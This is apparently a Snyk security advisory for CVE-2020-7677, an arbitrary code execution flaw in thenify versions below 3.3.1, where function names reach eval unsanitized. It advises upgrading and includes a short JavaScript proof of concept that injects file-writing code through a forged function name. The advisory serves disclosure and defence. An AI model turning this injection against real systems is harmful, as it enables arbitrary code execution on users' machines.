

Arbitrary Code Execution

Affecting org.webjars.npm:thenify package, versions [0,3.3.1)

INTRODUCED: 15 JUN 2020 CVE-2020-7677 CWE-78

Share

How to fix?

Upgrade org.webjars.npm:thenify to version 3.3.1 or higher.

Overview

org.webjars.npm:thenify is a Promisify a callback-based function using any-promise.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.

PoC

```
var a = require("thenify"); var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){}); function cur()
{}; Object.defineProperty(cur, "name", { value: "Fake() {" + attack_code + "}}");(function(){//}); a(cur);
```

References

- GitHub Commit
- Vulnerable Code

PRODUCT

- Snyk Open Source
- Snyk Code
- Snyk Container
- Snyk Infrastructure as Code
- Test with Github
- Test with CLI

RESOURCES

- Vulnerability DB
- Documentation
- Disclosed Vulnerabilities
- Blog
- FAQs

COMPANY

- About
- Jobs
- Contact
- Policies

HIGH

Search by package name or CVE

Snyk CVSS

Exploit Maturity Proof of concept

Attack Complexity Low

Confidentiality HIGH

See more

> NVD

9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID SNYK-JAVA-ORGWEBJARSNPM-572317

Published 15 Jun 2020

Disclosed 15 Jun 2020

Credit JHU System Security Lab

Report a new vulnerability

Found a mistake?

[Do Not Sell My Personal Information](#)

**CONTACT US**

[Support](#)

[Report a new vuln](#)

[Press Kit](#)

[Events](#)

**FIND US ONLINE**

**TRACK OUR DEVELOPMENT**



© 2022 Snyk Limited

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.